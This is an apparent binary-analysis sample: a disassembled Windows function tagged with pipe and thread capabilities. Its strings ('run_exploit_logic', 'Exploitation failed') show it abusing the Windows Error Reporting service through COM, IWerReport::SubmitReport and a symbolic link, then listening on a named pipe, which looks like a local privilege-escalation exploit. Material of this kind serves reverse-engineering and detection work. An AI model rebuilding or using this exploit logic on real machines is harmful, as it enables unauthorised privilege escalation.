Function at 0x140013570
Capabilities:
Connect pipe
Create pipe
Create thread

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x260
mov rax, qword [0x140046010]
xor rax, rsp
mov qword [rsp + 0x258], rax
mov rbx, rcx
xor r13d, r13d
call fcn.140014190
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitializeEx]
mov dword [rsp + 0x1e0], eax
test eax, eax
js 0x140013e30
mov byte [rsp + 0x81], 1
mov qword [rsp + 0x40], r13
mov dword [rsp + 0x38], r13d
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 3
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 - 1]
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitializeSecurity]
mov dword [rsp + 0x1e0], eax
test eax, eax
js 0x140013e97
mov qword [rsp + 0x1f0], r13
lea rdx, [rsp + 0x248]
lea rcx, str.0E9A7BB5_F699_4D66_8A47_B919F5B6A1DB
call qword [sym.imp.ole32.dll_CLSIDFromString]
nop
mov rcx, qword [rsp + 0x1f0]
test rcx, rcx
je 0x140013637
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
mov qword [rsp + 0x1f0], r13
lea rax, [rsp + 0x1f0]
mov qword [rsp + 0x20], rax
lea r9, [0x14003d358]
xor edx, edx
lea r8d, [rdx + 4]
lea rcx, [rsp + 0x248]
call qword [sym.imp.ole32.dll_CoCreateInstance]
mov dword [rsp + 0x1e0], eax
test eax, eax
js 0x140013efe
mov qword [rsp + 0x200], r13
mov rcx, qword [rsp + 0x1f0]
test rcx, rcx
je 0x140014181
mov rax, qword [rcx]
mov qword [rsp + 0x200], r13
lea rdx, [rsp + 0x200]
call qword [rax + 0x18]
mov dword [rsp + 0x1e0], eax
test eax, eax
js 0x140013f65
mov qword [rsp + 0x1f8], r13
mov rcx, qword [rsp + 0x200]
test rcx, rcx
je 0x140014176
mov rax, qword [rcx]
mov qword [rsp + 0x1f8], r13
lea rdx, [rsp + 0x1f8]
call qword [rax + 0x20]
mov dword [rsp + 0x1e0], eax
test eax, eax
js 0x140013fcc
lea rcx, str.WER1CF4
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov r15, rax
lea rcx, str.test
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov r12, rax
mov qword [rsp + 0x1d8], rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x230], xmm0
mov qword [rsp + 0x240], rax
mov qword [rsp + 0x230], r15
mov qword [rsp + 0x238], r12
mov byte [rsp + 0x240], 1
mov qword [rsp + 0x1e8], r13
movups xmmword [rsp + 0x88], xmm0
mov qword [rsp + 0x98], r13
mov qword [rsp + 0xa0], r13
lea r8d, [rax + 0xc]
lea rdx, str.GLOBAL___s
lea rcx, [rsp + 0x88]
call fcn.14000ba10
lea rdi, [rbx + 0x28]
mov r8, rdi
lea rdx, [rsp + 0x88]
lea rcx, [rsp + 0x60]
call fcn.14000b000
nop
mov rdx, rax
lea rcx, [rsp + 0xc8]
call fcn.14000f270
mov rsi, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x210], xmm0
mov qword [rsp + 0x220], r13
mov qword [rsp + 0x228], r13
mov r8d, 6
lea rdx, str.___s
lea rcx, [rsp + 0x210]
call fcn.14000ba10
lea r8, [rbx + 8]
lea rdx, [rsp + 0x210]
lea rcx, [rsp + 0xa8]
call fcn.14000b000
nop
mov rdx, rax
lea rcx, [rsp + 0xe8]
call fcn.14000f270
nop
mov rdx, rsi
mov rcx, rax
call fcn.14000f350
mov rsi, rax
mov rdx, qword [rsp + 0x100]
cmp rdx, 8
jb 0x140013862
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0xe8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001385d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140014033
call fcn.140016878
movdqa xmm0, xmmword [0x14003fcf0]
movdqu xmmword [rsp + 0xf8], xmm0
mov word [rsp + 0xe8], r13w
mov rdx, qword [rsp + 0xc0]
cmp rdx, 0x10
jb 0x1400138bf
inc rdx
mov rcx, qword [rsp + 0xa8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400138ba
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140014039
call fcn.140016878
movdqa xmm0, xmmword [0x14003fd00]
movdqu xmmword [rsp + 0xb8], xmm0
mov byte [rsp + 0xa8], 0
mov rdx, qword [rsp + 0xe0]
cmp rdx, 8
jb 0x140013920
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0xc8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001391b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001403f
call fcn.140016878
movdqa xmm0, xmmword [0x14003fcf0]
movdqu xmmword [rsp + 0xd8], xmm0
mov word [rsp + 0xc8], r13w
mov rdx, qword [rsp + 0x78]
cmp rdx, 0x10
jb 0x140013977
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140013972
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140014045
call fcn.140016878
movdqa xmm0, xmmword [0x14003fd00]
movdqu xmmword [rsp + 0x70], xmm0
mov byte [rsp + 0x60], 0
mov r9, rsi
lea r8, str.Symbolic_link_handle:_0x_x
mov edx, 0x2b
lea rcx, str.internal::winserver_exp_strategy::run_exploit_logic
call fcn.14000f060
mov rbx, qword [rsp + 0x1f8]
test rbx, rbx
je 0x14001416b
mov rax, qword [rbx]
mov r14, qword [rax + 0x30]
mov rcx, qword [rsp + 0x1e8]
test rcx, rcx
je 0x1400139d1
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
mov qword [rsp + 0x1e8], r13
lea r9, [rsp + 0x1e8]
mov r8d, 2
mov rdx, r15
mov rcx, rbx
call r14
mov dword [rsp + 0x1e0], eax
test eax, eax
js 0x14001404b
lea r8, str.Preparing_to_invoke_IWerReport::SubmitReport...
mov edx, 0x2b
lea rcx, str.internal::winserver_exp_strategy::run_exploit_logic
call fcn.14000f060
mov qword [rsp + 0x28], r13
mov dword [rsp + 0x20], r13d
xor r9d, r9d
lea r8, [0x140013540]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, qword [rsp + 0x1e8]
test rcx, rcx
je 0x140014161
mov rax, qword [rcx]
lea rdx, [rsp + 0x1d0]
call qword [rax + 0x18]
lea rcx, str.internal::winserver_exp_strategy::run_exploit_logic
test eax, eax
je 0x140013ae5
lea r8, str.Cant_read_WER_service_status
mov edx, 0x2d
call fcn.14000f060
nop
mov rcx, qword [rsp + 0x1e8]
test rcx, rcx
je 0x140013a89
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
mov rcx, r15
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov rcx, r12
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
nop
mov rcx, qword [rsp + 0x1f8]
test rcx, rcx
je 0x140013ab0
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
mov rcx, qword [rsp + 0x200]
test rcx, rcx
je 0x140013ac4
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
mov rcx, qword [rsp + 0x1f0]
test rcx, rcx
je 0x140013ad8
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
call qword [sym.imp.ole32.dll_CoUninitialize]
xor al, al
jmp 0x140013e03
lea rax, str.disabled
lea r9, str.enabled
cmp qword [rsp + 0x1d0], 0
cmovne r9, rax
lea r8, str.WER_service_status:__s
mov edx, 0x2b
call fcn.14000f060
cmp qword [rsp + 0x1d0], 0
jne 0x1400140ba
mov rcx, qword [rsp + 0x1e8]
test rcx, rcx
je 0x140014157
mov rax, qword [rcx]
lea rdx, [rsp + 0x208]
mov qword [rsp + 0x28], rdx
lea rdx, [rsp + 0x1d8]
mov qword [rsp + 0x20], rdx
xor r9d, r9d
mov r8d, 0x580
mov rdx, r15
call qword [rax + 0xf0]
mov ebx, eax
mov dword [rsp + 0x1e0], eax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
js 0x1400140ea
lea r8, str.Start_listening_on_pipe...
mov edx, 0x2b
lea rcx, str.internal::winserver_exp_strategy::run_exploit_logic
call fcn.14000f060
mov qword [rsp + 0x38], r13
mov dword [rsp + 0x30], 0xffffffff
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x20], r13d
mov edx, 3
mov r9d, 0xff
lea r8d, [rdx + 3]
lea rcx, str..Pipemypipe
call qword [sym.imp.KERNEL32.dll_CreateNamedPipeW]
mov rbx, rax
test rax, rax
je 0x140013d7b
lea r8, str.Pipe_created.
mov edx, 0x2b
lea rcx, str.internal::winserver_exp_strategy::run_exploit_logic
call fcn.14000f060
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
test eax, eax
je 0x140013d7b
lea r8, str.Piped_connected_
mov edx, 0x2b
lea rcx, str.internal::winserver_exp_strategy::run_exploit_logic
call fcn.14000f060
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rbx, qword [rdi + 0x10]
cmp qword [rdi + 0x18], 0x10
jb 0x140013c2d
mov rdi, qword [rdi]
call fcn.14001558c
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x58], rbx
lea r8, [rsp + 0x50]
mov edx, eax
lea rcx, [rsp + 0x88]
call fcn.140006070
nop
lea rcx, [rsp + 0x88]
cmp qword [rsp + 0xa0], 8
cmovae rcx, qword [rsp + 0x88]
call fcn.140015fc4
movzx ecx, al
mov qword [rsp + 0x1e0], rcx
shr rax, 0x20
mov dword [rsp + 0x50], eax
lea rcx, [0x140046a38]
mov qword [rsp + 0x58], rcx
movaps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x210], xmm0
cmp eax, 0x91
jne 0x140013cc2
lea r8, [rsp + 0x1e0]
lea rdx, [rsp + 0x210]
lea rcx, [rsp + 0x88]
call fcn.140007ab0
nop
mov rdx, qword [rsp + 0xa0]
cmp rdx, 8
jb 0x140013d0b
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x88]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140013d05
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140014151
call fcn.140016878
nop
mov rcx, qword [rsp + 0x1e8]
test rcx, rcx
je 0x140013d1f
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
mov rcx, r15
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov rcx, r12
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
nop
mov rcx, qword [rsp + 0x1f8]
test rcx, rcx
je 0x140013d46
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
mov rcx, qword [rsp + 0x200]
test rcx, rcx
je 0x140013d5a
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
mov rcx, qword [rsp + 0x1f0]
test rcx, rcx
je 0x140013d6e
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
call qword [sym.imp.ole32.dll_CoUninitialize]
mov al, 1
jmp 0x140013e03
lea r8, str.Exploitation_failed.
mov edx, 0x2d
lea rcx, str.internal::winserver_exp_strategy::run_exploit_logic
call fcn.14000f060
nop
mov rcx, qword [rsp + 0x1e8]
test rcx, rcx
je 0x140013da8
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
mov rcx, r15
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov rcx, r12
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
nop
mov rcx, qword [rsp + 0x1f8]
test rcx, rcx
je 0x140013dcf
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
mov rcx, qword [rsp + 0x200]
test rcx, rcx
je 0x140013de3
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
mov rcx, qword [rsp + 0x1f0]
test rcx, rcx
je 0x140013df7
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
call qword [sym.imp.ole32.dll_CoUninitialize]
xor al, al
jmp 0x140013e03
mov rcx, qword [rsp + 0x258]
xor rcx, rsp
call fcn.140016330
lea r11, [rsp + 0x260]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
lea rdx, [0x14003cdc8]
lea rcx, [rsp + 0x60]
call fcn.14000a830
lea r8, [rsp + 0x1e0]
mov rdx, rax
lea rcx, [rsp + 0xc8]
call fcn.14000ad90
nop
mov r8, rax
lea rdx, str.CoInitializeEx_failed._Error:
lea rcx, [rsp + 0xa8]
call fcn.14000aed0
nop
mov rdx, rax
lea rcx, [rsp + 0x110]
call fcn.1400056c0
lea rdx, [0x140044780]
lea rcx, [rsp + 0x110]
call fcn.1400185fc
nop
lea rdx, [0x14003cdc8]
lea rcx, [rsp + 0x60]
call fcn.14000a830
lea r8, [rsp + 0x1e0]
mov rdx, rax
lea rcx, [rsp + 0xc8]
call fcn.14000ad90
nop
mov r8, rax
lea rdx, str.CoInitiliazeSecurity_failed._Error:
lea rcx, [rsp + 0xa8]
call fcn.14000aed0
nop
mov rdx, rax
lea rcx, [rsp + 0x128]
call fcn.1400056c0
lea rdx, [0x140044780]
lea rcx, [rsp + 0x128]
call fcn.1400185fc
nop
lea rdx, [0x14003cdc8]
lea rcx, [rsp + 0x60]
call fcn.14000a830
lea r8, [rsp + 0x1e0]
mov rdx, rax
lea rcx, [rsp + 0xc8]
call fcn.14000ad90
nop
mov r8, rax
lea rdx, str.CoCreateInstance_failed._Error:
lea rcx, [rsp + 0xa8]
call fcn.14000aed0
nop
mov rdx, rax
lea rcx, [rsp + 0x140]
call fcn.1400056c0
lea rdx, [0x140044780]
lea rcx, [rsp + 0x140]
call fcn.1400185fc
nop
lea rdx, [0x14003cdc8]
lea rcx, [rsp + 0x60]
call fcn.14000a830
lea r8, [rsp + 0x1e0]
mov rdx, rax
lea rcx, [rsp + 0xc8]
call fcn.14000ad90
nop
mov r8, rax
lea rdx, str.CErcLuaSupport::GetWerStoreFactory_failed._Error:
lea rcx, [rsp + 0xa8]
call fcn.14000aed0
nop
mov rdx, rax
lea rcx, [rsp + 0x158]
call fcn.1400056c0
lea rdx, [0x140044780]
lea rcx, [rsp + 0x158]
call fcn.1400185fc
nop
lea rdx, [0x14003cdc8]
lea rcx, [rsp + 0x60]
call fcn.14000a830
lea r8, [rsp + 0x1e0]
mov rdx, rax
lea rcx, [rsp + 0xc8]
call fcn.14000ad90
nop
mov r8, rax
lea rdx, str.WerStoreFactory::GetAdminArchive_failed._Error:
lea rcx, [rsp + 0xa8]
call fcn.14000aed0
nop
mov rdx, rax
lea rcx, [rsp + 0x170]
call fcn.1400056c0
lea rdx, [0x140044780]
lea rcx, [rsp + 0x170]
call fcn.1400185fc
nop
call fcn.14001ccd4
nop
call fcn.14001ccd4
nop
call fcn.14001ccd4
nop
call fcn.14001ccd4
int3
mov rcx, rsi
call sub.KERNEL32.dll_CloseHandle
lea rdx, [0x14003cdc8]
lea rcx, [rsp + 0x60]
call fcn.14000a830
lea r8, [rsp + 0x1e0]
mov rdx, rax
lea rcx, [rsp + 0xc8]
call fcn.14000ad90
nop
mov r8, rax
lea rdx, str.IWerStore::LoadReport_failed._Error:
lea rcx, [rsp + 0xa8]
call fcn.14000aed0
nop
mov rdx, rax
lea rcx, [rsp + 0x188]
call fcn.1400056c0
lea rdx, [0x140044780]
lea rcx, [rsp + 0x188]
call fcn.1400185fc
nop
mov rcx, rsi
call sub.KERNEL32.dll_CloseHandle
lea rdx, str.WER_service_isnt_running__exploitation_not_possible_
lea rcx, [rsp + 0x1a0]
call fcn.140005730
lea rdx, [0x140044780]
lea rcx, [rsp + 0x1a0]
call fcn.1400185fc
lea rdx, [0x14003cdc8]
lea rcx, [rsp + 0x60]
call fcn.14000a830
lea r8, [rsp + 0x1e0]
mov rdx, rax
lea rcx, [rsp + 0xc8]
call fcn.14000ad90
nop
mov r8, rax
lea rdx, str.IWerReport::SubmitReport_failed._Error:
lea rcx, [rsp + 0xa8]
call fcn.14000aed0
nop
mov rdx, rax
lea rcx, [rsp + 0x1b8]
call fcn.1400056c0
lea rdx, [0x140044780]
lea rcx, [rsp + 0x1b8]
call fcn.1400185fc
nop
call fcn.14001ccd4
int3
mov ecx, 0x80004003
call fcn.1400173b0
mov ecx, 0x80004003
call fcn.1400173b0
mov ecx, 0x80004003
call fcn.1400173b0
nop
mov ecx, 0x80004003
call fcn.1400173b0
nop
mov ecx, 0x80004003
call fcn.1400173b0
int3